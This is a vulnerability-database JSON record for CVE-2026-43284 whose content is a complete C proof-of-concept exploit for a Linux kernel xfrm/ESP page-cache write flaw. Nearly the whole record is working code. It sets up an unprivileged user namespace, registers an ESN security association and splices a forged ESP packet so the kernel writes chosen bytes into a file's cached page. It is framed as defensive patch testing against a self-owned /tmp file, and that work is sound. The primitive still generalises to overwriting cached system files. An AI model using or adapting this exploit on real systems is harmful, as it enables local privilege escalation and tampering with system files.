{"uuid": "7ef57213-951a-4cba-b7c6-0000b3fe8e8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-43284", "type": "seen", "source": "https://gist.github.com/artem-panchenko/0fab615ba3e9a7b471b659bef4472281", "content": "// Minimal Dirty Frag (CVE-2026-43284 / xfrm-ESP) PoC against a self-owned file.\n//\n// Authorized defensive testing only. Targets /tmp/target.bin (created by this\n// program) \u2014 never touches /usr/bin/su, /etc/passwd, or any system file.\n//\n// What it does:\n//   1. Create /tmp/target.bin with 4096 'A' bytes; fsync to disk.\n//   2. Read it once to prime the page cache with 'A'.\n//   3. Fork. In the child:\n//        unshare(NEWUSER|NEWNET) -&gt; map uid/gid -&gt; ifup lo\n//        register one XFRM SA with ESN flag and seq_hi = 0x42424242 (\"BBBB\")\n//        send a forged ESP packet over loopback whose frag is the page cache\n//        page of /tmp/target.bin via splice() with MSG_SPLICE_PAGES\n//        kernel hits the vulnerable skip_cow branch in esp_input(), runs\n//        in-place AEAD on top of the frag, and the 4-byte sequence-number\n//        rearrangement STOREs seq_hi onto page_address(target_page) +\n//        assoclen+cryptlen.  AEAD auth fails with -EBADMSG but the STORE\n//        already happened.\n//   4. Parent verifies: cached read should return \"BBBB\" at offset 0; an\n//      O_DIRECT read should still return \"AAAA\" (disk unchanged).\n//\n// On a patched kernel (&gt;= mainline 2026-05-08 commit f4c50a4034e6) the trigger\n// runs cleanly but the bytes don't change \u2014 also useful: confirms the patch\n// landed on this node.\n//\n// Build:\n//   gcc -O0 -Wall -o /tmp/dirtyfrag_min dirtyfrag_min.c\n//\n// Run:\n//   /tmp/dirtyfrag_min\n// Then in the Streamlit app, point the multi-method reader at /tmp/target.bin.\n// Cached should show 'B' at byte 0; O_DIRECT should show 'A'.\n\n#define _GNU_SOURCE\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#ifndef UDP_ENCAP\n#define UDP_ENCAP 100\n#endif\n#ifndef UDP_ENCAP_ESPINUDP\n#define UDP_ENCAP_ESPINUDP 2\n#endif\n\n#define PAGE        4096\n#define ENC_PORT    4500\n#define SEQ_VAL     200\n#define REPLAY_SEQ  100\n#define TARGET      \"/tmp/target.bin\"\n#define SPI_VAL     0xDEADBE10u\n#define PATCH_OFF   0                  // file offset of the 4-byte STORE\n#define PATCH_SEQHI 0x42424242u        // 4 bytes to plant: \"BBBB\"\n\nstatic int write_proc(const char *path, const char *buf) {\n    int fd = open(path, O_WRONLY);\n    if (fd &lt; 0) return -1;\n    int n = write(fd, buf, strlen(buf));\n    close(fd);\n    return n;\n}\n\nstatic int setup_userns_netns(void) {\n    uid_t uid = getuid();\n    gid_t gid = getgid();\n    if (unshare(CLONE_NEWUSER | CLONE_NEWNET) &lt; 0) {\n        fprintf(stderr, \"unshare: %s\\n\", strerror(errno));\n        return -1;\n    }\n    write_proc(\"/proc/self/setgroups\", \"deny\");\n    char map[64];\n    snprintf(map, sizeof(map), \"0 %u 1\", uid);\n    if (write_proc(\"/proc/self/uid_map\", map) &lt; 0) return -1;\n    snprintf(map, sizeof(map), \"0 %u 1\", gid);\n    if (write_proc(\"/proc/self/gid_map\", map) &lt; 0) return -1;\n\n    int s = socket(AF_INET, SOCK_DGRAM, 0);\n    if (s &lt; 0) return -1;\n    struct ifreq ifr;\n    memset(&amp;ifr, 0, sizeof(ifr));\n    strncpy(ifr.ifr_name, \"lo\", IFNAMSIZ - 1);\n    if (ioctl(s, SIOCGIFFLAGS, &amp;ifr) &lt; 0) { close(s); return -1; }\n    ifr.ifr_flags |= IFF_UP | IFF_RUNNING;\n    if (ioctl(s, SIOCSIFFLAGS, &amp;ifr) &lt; 0) { close(s); return -1; }\n    close(s);\n    return 0;\n}\n\nstatic void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len) {\n    struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh-&gt;nlmsg_len));\n    rta-&gt;rta_type = type;\n    rta-&gt;rta_len  = RTA_LENGTH(len);\n    memcpy(RTA_DATA(rta), data, len);\n    nlh-&gt;nlmsg_len = NLMSG_ALIGN(nlh-&gt;nlmsg_len) + RTA_ALIGN(rta-&gt;rta_len);\n}\n\nstatic int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi) {\n    int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM);\n    if (sk &lt; 0) return -1;\n    struct sockaddr_nl nl = { .nl_family = AF_NETLINK };\n    if (bind(sk, (struct sockaddr *)&amp;nl, sizeof(nl)) &lt; 0) { close(sk); return -1; }\n\n    char buf[4096] = {0};\n    struct nlmsghdr *nlh = (struct nlmsghdr *)buf;\n    nlh-&gt;nlmsg_type  = XFRM_MSG_NEWSA;\n    nlh-&gt;nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;\n    nlh-&gt;nlmsg_pid   = getpid();\n    nlh-&gt;nlmsg_seq   = 1;\n    nlh-&gt;nlmsg_len   = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info));\n\n    struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh);\n    xs-&gt;id.daddr.a4   = inet_addr(\"127.0.0.1\");\n    xs-&gt;id.spi        = htonl(spi);\n    xs-&gt;id.proto      = IPPROTO_ESP;\n    xs-&gt;saddr.a4      = inet_addr(\"127.0.0.1\");\n    xs-&gt;family        = AF_INET;\n    xs-&gt;mode          = XFRM_MODE_TRANSPORT;\n    xs-&gt;replay_window = 0;\n    xs-&gt;reqid         = 0x1234;\n    xs-&gt;flags         = XFRM_STATE_ESN;\n    xs-&gt;lft.soft_byte_limit   = (uint64_t)-1;\n    xs-&gt;lft.hard_byte_limit   = (uint64_t)-1;\n    xs-&gt;lft.soft_packet_limit = (uint64_t)-1;\n    xs-&gt;lft.hard_packet_limit = (uint64_t)-1;\n    xs-&gt;sel.family       = AF_INET;\n    xs-&gt;sel.prefixlen_d  = 32;\n    xs-&gt;sel.prefixlen_s  = 32;\n    xs-&gt;sel.daddr.a4     = inet_addr(\"127.0.0.1\");\n    xs-&gt;sel.saddr.a4     = inet_addr(\"127.0.0.1\");\n\n    {\n        char ab[sizeof(struct xfrm_algo_auth) + 32] = {0};\n        struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *)ab;\n        strncpy(aa-&gt;alg_name, \"hmac(sha256)\", sizeof(aa-&gt;alg_name) - 1);\n        aa-&gt;alg_key_len   = 32 * 8;\n        aa-&gt;alg_trunc_len = 128;\n        memset(aa-&gt;alg_key, 0xAA, 32);\n        put_attr(nlh, XFRMA_ALG_AUTH_TRUNC, ab, sizeof(ab));\n    }\n    {\n        char eb[sizeof(struct xfrm_algo) + 16] = {0};\n        struct xfrm_algo *ea = (struct xfrm_algo *)eb;\n        strncpy(ea-&gt;alg_name, \"cbc(aes)\", sizeof(ea-&gt;alg_name) - 1);\n        ea-&gt;alg_key_len = 16 * 8;\n        memset(ea-&gt;alg_key, 0xBB, 16);\n        put_attr(nlh, XFRMA_ALG_CRYPT, eb, sizeof(eb));\n    }\n    {\n        struct xfrm_encap_tmpl enc = {0};\n        enc.encap_type  = UDP_ENCAP_ESPINUDP;\n        enc.encap_sport = htons(ENC_PORT);\n        enc.encap_dport = htons(ENC_PORT);\n        put_attr(nlh, XFRMA_ENCAP, &amp;enc, sizeof(enc));\n    }\n    {\n        char esnb[sizeof(struct xfrm_replay_state_esn) + 4] = {0};\n        struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esnb;\n        esn-&gt;bmp_len       = 1;\n        esn-&gt;seq           = REPLAY_SEQ;\n        esn-&gt;seq_hi        = patch_seqhi;\n        esn-&gt;replay_window = 32;\n        put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esnb, sizeof(esnb));\n    }\n\n    if (send(sk, nlh, nlh-&gt;nlmsg_len, 0) &lt; 0) { close(sk); return -1; }\n    char rb[4096];\n    int n = recv(sk, rb, sizeof(rb), 0);\n    close(sk);\n    if (n &lt; 0) return -1;\n    struct nlmsghdr *rh = (struct nlmsghdr *)rb;\n    if (rh-&gt;nlmsg_type == NLMSG_ERROR) {\n        struct nlmsgerr *e = NLMSG_DATA(rh);\n        if (e-&gt;error) {\n            fprintf(stderr, \"xfrm NEWSA error: %s\\n\", strerror(-e-&gt;error));\n            return -1;\n        }\n    }\n    return 0;\n}\n\nstatic int do_one_write(const char *path, off_t offset, uint32_t spi) {\n    int sk_recv = socket(AF_INET, SOCK_DGRAM, 0);\n    if (sk_recv &lt; 0) return -1;\n    int one = 1;\n    setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &amp;one, sizeof(one));\n    struct sockaddr_in sa = {\n        .sin_family = AF_INET,\n        .sin_port   = htons(ENC_PORT),\n        .sin_addr   = { inet_addr(\"127.0.0.1\") },\n    };\n    if (bind(sk_recv, (struct sockaddr *)&amp;sa, sizeof(sa)) &lt; 0) { close(sk_recv); return -1; }\n    int encap = UDP_ENCAP_ESPINUDP;\n    if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &amp;encap, sizeof(encap)) &lt; 0) {\n        close(sk_recv); return -1;\n    }\n    int sk_send = socket(AF_INET, SOCK_DGRAM, 0);\n    if (sk_send &lt; 0) { close(sk_recv); return -1; }\n    if (connect(sk_send, (struct sockaddr *)&amp;sa, sizeof(sa)) &lt; 0) {\n        close(sk_send); close(sk_recv); return -1;\n    }\n    int file_fd = open(path, O_RDONLY);\n    if (file_fd &lt; 0) { close(sk_send); close(sk_recv); return -1; }\n    int pfd[2];\n    if (pipe(pfd) &lt; 0) { close(file_fd); close(sk_send); close(sk_recv); return -1; }\n\n    uint8_t hdr[24];\n    *(uint32_t *)(hdr + 0) = htonl(spi);\n    *(uint32_t *)(hdr + 4) = htonl(SEQ_VAL);\n    memset(hdr + 8, 0xCC, 16);\n\n    struct iovec iov = { .iov_base = hdr, .iov_len = sizeof(hdr) };\n    if (vmsplice(pfd[1], &amp;iov, 1, 0) != (ssize_t)sizeof(hdr)) goto fail;\n    off_t off = offset;\n    if (splice(file_fd, &amp;off, pfd[1], NULL, 16, SPLICE_F_MOVE) != 16) goto fail;\n    splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE);\n    usleep(150 * 1000);  // give kernel time to process the encap'd ESP\n\n    close(file_fd); close(pfd[0]); close(pfd[1]);\n    close(sk_send); close(sk_recv);\n    return 0;\nfail:\n    close(file_fd); close(pfd[0]); close(pfd[1]);\n    close(sk_send); close(sk_recv);\n    return -1;\n}\n\nstatic int prepare_target(void) {\n    unsigned char *a;\n    if (posix_memalign((void **)&amp;a, PAGE, PAGE)) return -1;\n    memset(a, 'A', PAGE);\n    int fd = open(TARGET, O_RDWR | O_CREAT | O_TRUNC, 0644);\n    if (fd &lt; 0) { free(a); return -1; }\n    if (write(fd, a, PAGE) != PAGE) { close(fd); free(a); return -1; }\n    fsync(fd);\n    close(fd);\n    // Prime the page cache.\n    fd = open(TARGET, O_RDONLY);\n    read(fd, a, PAGE);\n    close(fd);\n    free(a);\n    return 0;\n}\n\nstatic void verify(void) {\n    unsigned char buf[16];\n    int fd = open(TARGET, O_RDONLY);\n    if (fd &lt; 0) { perror(\"verify open\"); return; }\n    if (read(fd, buf, 16) != 16) { perror(\"verify read\"); close(fd); return; }\n    close(fd);\n    printf(\"\\nFirst 16 bytes via cached read: \");\n    for (int i = 0; i &lt; 16; i++) printf(\"%02x \", buf[i]);\n    putchar('\\n');\n    int landed = (buf[0] == 0x42 &amp;&amp; buf[1] == 0x42 &amp;&amp; buf[2] == 0x42 &amp;&amp; buf[3] == 0x42);\n    printf(\"Bytes 0..3 = %s\\n\", landed ? \"BBBB  --  STORE LANDED\" : \"AAAA  --  no change\");\n    if (!landed) {\n        printf(\"Possible reasons: kernel patched (CVE-2026-43284 fix landed),\\n\"\n               \"  esp4 module not loaded, SA registration silently failed,\\n\"\n               \"  or the page-cache page was evicted between prime and trigger.\\n\");\n    } else {\n        printf(\"\\nNow run the Streamlit multi-method reader on %s --\\n\"\n               \"  cached read should show 'BBBB' (0x42*4) at bytes 0..3,\\n\"\n               \"  O_DIRECT read should still show 'AAAA' (0x41*4) at bytes 0..3.\\n\"\n               \"  That divergence IS the page cache write.\\n\", TARGET);\n    }\n}\n\nint main(void) {\n    if (prepare_target() &lt; 0) {\n        fprintf(stderr, \"prepare_target: %s\\n\", strerror(errno));\n        return 1;\n    }\n    printf(\"[+] target %s ready (4096 'A' bytes, primed in cache)\\n\", TARGET);\n\n    pid_t pid = fork();\n    if (pid &lt; 0) { perror(\"fork\"); return 1; }\n    if (pid == 0) {\n        if (setup_userns_netns() &lt; 0) _exit(2);\n        if (add_xfrm_sa(SPI_VAL, PATCH_SEQHI) &lt; 0) _exit(3);\n        if (do_one_write(TARGET, PATCH_OFF, SPI_VAL) &lt; 0) _exit(4);\n        _exit(0);\n    }\n    int st;\n    waitpid(pid, &amp;st, 0);\n    if (!WIFEXITED(st)) {\n        fprintf(stderr, \"child died abnormally\\n\");\n        return 1;\n    }\n    int rc = WEXITSTATUS(st);\n    printf(\"[+] child exited with %d\\n\", rc);\n    if (rc != 0) {\n        const char *step[] = {\n            \"ok\", \"prep\", \"userns/netns setup\", \"xfrm SA registration\", \"splice trigger\"\n        };\n        if (rc &gt;= 1 &amp;&amp; rc &lt;= 4) {\n            printf(\"    failed step: %s\\n\", step[rc]);\n        }\n    }\n    verify();\n    return 0;\n}", "creation_timestamp": "2026-05-09T17:43:07.000000Z"}